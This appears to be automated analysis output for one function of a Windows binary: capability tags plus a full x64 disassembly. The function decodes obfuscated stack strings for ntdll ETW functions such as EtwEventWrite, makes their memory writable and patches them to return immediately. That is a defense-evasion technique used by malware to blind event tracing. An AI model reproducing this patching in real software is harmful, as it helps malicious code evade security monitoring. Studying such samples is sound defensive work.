Function at 0x1400214f4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov rax, qword [0x140044908]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov al, byte [0x1400445e3]
mov dil, 0xec
mov eax, 0x6182
mov ecx, 0x245
mov word [rbp - 0x51], ax
mov r13d, 1
movzx eax, word [0x1400446c4]
mov dword [rbp - 0x49], 0xc7
mov eax, 0x28e8
mov word [rbp - 0x4d], ax
mov al, byte [0x1400445e6]
movzx eax, word [0x1400446e4]
movsx eax, word [0x14004469c]
mov byte [rbp - 0x59], 0x7f
mov dword [rbp - 0x49], eax
movzx eax, word [0x140044674]
mov byte [rbp - 0x68], al
mov al, byte [0x1400446d8]
mov byte [rbp - 0x61], al
mov eax, dword [0x1400446cc]
mov byte [rbp - 0x68], 0x91
mov eax, dword [0x1400446c0]
mov al, byte [0x1400446b0]
mov byte [rbp - 0x68], al
movsx eax, byte [0x1400445e6]
mov word [rbp - 0x65], ax
mov al, byte [0x1400446bc]
mov byte [rbp - 0x69], al
mov dword [rbp - 0x59], 0xd98f
mov qword [rbp - 0x59], 0xe42d
movsx eax, byte [0x1400445e6]
mov word [rbp - 0x59], ax
mov byte [rbp - 0x59], 0xc5
mov dword [rbp - 0x59], 0x6631c99f
mov rax, qword [0x140044688]
mov al, byte [0x1400445cc]
mov byte [rbp - 0x59], 0x6e
mov byte [rbp - 0x59], 0x8b
mov byte [rbp - 0x59], al
mov al, byte [rbp - 0x69]
mov dword [rbp - 0x5d], 0xc3c03348
movzx eax, word [rbp - 0x65]
sub dword [0x1400446a8], 0x3b88
sub al, 0x72
mov byte [rbp - 0x59], al
mov al, byte [rbp - 0x69]
add al, r13b
mov byte [rbp - 0x69], al
sub rcx, r13
jne 0x1400215fb
xor r15d, r15d
mov dword [rbp - 0x41], 0x665e6e68
mov eax, r15d
mov dword [rbp - 0x3d], 0x665e2866
mov word [rbp - 0x39], 0x66
add byte [rbp + rax - 0x41], 6
add rax, r13
cmp rax, 9
jb 0x140021636
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp - 0x41]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.14000abe8
mov cl, byte [rbp - 0x69]
mov rbx, rax
mov al, byte [rbp - 0x61]
mov edx, r15d
cmp cl, al
mov al, byte [rbp - 0x69]
mov ecx, r15d
setbe dl
cmp al, 0x4b
setbe cl
cmp edx, ecx
jb 0x140021710
movsxd r9, dword [0x1400446e0]
xor edx, edx
mov rax, qword [0x1400446e8]
xor ecx, ecx
mov qword [rsp + 0x30], rax
mov r8d, 0xcf
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 0x5e
call fcn.140021e10
mov rdi, rax
test al, al
je 0x1400216ff
mov edx, 0x122
movzx eax, byte [rbp - 0x59]
sub edx, r13d
movzx ecx, word [0x1400445e4]
add cx, cx
add ax, cx
mov word [0x1400445e4], ax
mov al, byte [0x1400445e3]
add al, r13b
mov byte [0x1400445e3], al
test edx, edx
jg 0x1400216cf
jmp 0x140021723
mov al, byte [0x141074110]
mov byte [rbp - 0x69], al
mov al, byte [0x1400445e3]
jmp 0x140021723
movsx ecx, byte [0x1400445e6]
sub ecx, 0x5b98
mov dword [0x1400446b8], ecx
mov dword [rbp - 0x31], 0x40726f40
mov rax, r15
mov dword [rbp - 0x2d], 0x6f696071
mov dword [rbp - 0x29], 0x6f646d52
mov word [rbp - 0x25], 0x60
add byte [rbp + rax - 0x31], 5
add rax, r13
cmp rax, 0xd
jb 0x140021741
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 0x31]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.14000abe8
movsx r8, byte [0x1400445e6]
mov edx, 0xc5
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov r14, rax
mov qword [rbp - 0x59], rax
lea r9d, [rdx - 0x26]
mov qword [rsp + 0x20], 0x6e
call fcn.140021e10
movdqa xmm0, xmmword [str.DsvMnshehb_shnmQBqtBsbkqObdfpqbo]
mov byte [rbp - 0x69], al
mov al, byte [rbp - 0x69]
mov rax, r15
mov dword [rbp - 0x11], 0x72686664
movdqu xmmword [rbp - 0x21], xmm0
mov dword [rbp - 0xd], 0x716473
add byte [rbp + rax - 0x21], r13b
add rax, r13
cmp rax, 0x17
jb 0x1400217d4
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 0x21]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.14000abe8
mov rsi, rax
mov al, byte [rbp - 0x68]
test al, al
je 0x140021870
mov al, byte [0x1400445cb]
mov edx, 0xdd
neg al
mov byte [0x1400445e6], al
mov rcx, qword [0x1400446e8]
movsx rax, dil
imul rcx, rax
mov rax, qword [0x1400446e8]
sub rax, rcx
mov qword [0x1400446e8], rax
movzx eax, word [0x1400445e4]
lea ecx, [rax + rax*8]
mov al, byte [0x1400445e6]
shl ecx, 3
add al, cl
mov byte [0x1400445e6], al
sub rdx, r13
jne 0x14002184e
jmp 0x140021887
mov eax, dword [0x1400446c0]
not eax
test eax, eax
je 0x140021887
mov qword [0x1400446e8], 0x25b1379f
movdqa xmm0, xmmword [0x140032950]
lea r8, [rbp + 0xf]
paddb xmm0, xmmword [0x140032970]
xor r9d, r9d
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rbx
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
movdqu xmmword [rbp + 0xf], xmm0
mov qword [rsp + 0x20], r15
mov byte [rbp + 0x1f], r15b
call fcn.14000abe8
movdqa xmm0, xmmword [0x140032980]
mov rdi, rax
movdqu xmmword [rbp - 9], xmm0
mov word [rbp + 7], 0x91
mov rax, r15
xor byte [rbp + rax - 9], 0xfd
add rax, r13
cmp rax, 0x11
jb 0x1400218e8
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 9]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.14000abe8
movsx ecx, word [rbp - 0x4d]
mov edx, 0xad
mov r12, rax
call fcn.140021be4
test al, al
je 0x140021969
mov ecx, 0x24
mov rax, qword [0x1400446a0]
sub ecx, r13d
add word [0x1400445e4], r13w
sub rax, 0x1b
add dword [0x1400446c8], r13d
mov qword [0x140044688], rax
test ecx, ecx
jg 0x14002193f
jmp 0x14002198d
mov al, byte [0x1400446d8]
shl al, 2
mov byte [0x1400445e6], al
movsx ecx, byte [0x1400445e6]
mov eax, dword [0x1400446b8]
sub eax, ecx
mov dword [0x1400446b8], eax
mov ebx, 0x40
mov rcx, r14
mov r8d, ebx
lea edx, [rbx - 0x3c]
call fcn.14000a4e8
mov edx, 0xf3
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
lea ecx, [rbx + 0x3a]
mov r13d, eax
mov qword [rsp + 0x20], r15
lea r9d, [rdx - 0x20]
lea r8d, [rdx - 0x29]
call fcn.140021e10
mov word [rbp - 0x65], ax
mov edx, r15d
movzx eax, word [rbp - 0x65]
mov ecx, r15d
cmp ax, 0xf
movzx eax, word [rbp - 0x65]
seta dl
test ax, ax
setne cl
cmp ecx, edx
ja 0x140021a03
movzx eax, word [0x1400446e4]
mov ecx, r15d
test ax, ax
sete cl
mov word [0x1400446e4], cx
jmp 0x140021a12
mov ecx, dword [rbp - 0x49]
mov rax, qword [0x1400446e8]
sub ecx, eax
mov dword [rbp - 0x49], ecx
mov r8d, ebx
mov edx, 4
mov rcx, rsi
call fcn.14000a4e8
mov r9d, 0x6c
mov qword [rsp + 0x30], 0x1b
mov qword [rsp + 0x28], r15
xor r8d, r8d
mov r14d, eax
mov qword [rsp + 0x20], r15
lea edx, [r9 - 0x26]
lea ecx, [rdx + 0x3e]
call fcn.140021e10
mov r8d, ebx
mov dword [0x1400446c8], eax
mov edx, 4
mov rcx, rdi
call fcn.14000a4e8
cmp qword [0x1400446f0], 0x25b1379f
mov r15d, eax
jne 0x140021a8a
mov eax, dword [0x1400446c0]
mov ecx, 0x290f
sub ax, cx
mov word [0x1400446c4], ax
jmp 0x140021a99
movzx ecx, byte [rbp - 0x69]
movzx eax, word [rbp - 0x51]
sub ax, cx
mov word [rbp - 0x51], ax
mov r8d, ebx
mov edx, 4
mov rcx, r12
call fcn.14000a4e8
mov rdx, qword [rbp - 0x59]
lea r8, [rbp - 0x5d]
mov ebx, eax
lea rcx, [fcn.140026c50]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.14000abe8
xor eax, eax
lea r8, [rbp - 0x5d]
mov qword [rsp + 0x40], rax
lea rcx, [fcn.140026c50]
mov qword [rsp + 0x38], rax
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.14000abe8
xor eax, eax
lea r8, [rbp - 0x5d]
mov qword [rsp + 0x40], rax
lea rcx, [fcn.140026c50]
mov qword [rsp + 0x38], rax
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.14000abe8
xor eax, eax
lea r8, [rbp - 0x5d]
mov qword [rsp + 0x40], rax
lea rcx, [fcn.140026c50]
mov qword [rsp + 0x38], rax
mov rdx, r12
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.14000abe8
mov rcx, qword [rbp - 0x59]
mov r8d, r13d
mov r13d, 4
mov edx, r13d
call fcn.14000a4e8
mov r8d, r14d
mov edx, r13d
mov rcx, rsi
call fcn.14000a4e8
mov r8d, r15d
mov edx, r13d
mov rcx, rdi
call fcn.14000a4e8
mov r8d, ebx
mov edx, r13d
mov rcx, r12
call fcn.14000a4e8
lea eax, [r13 - 3]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140025dd0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret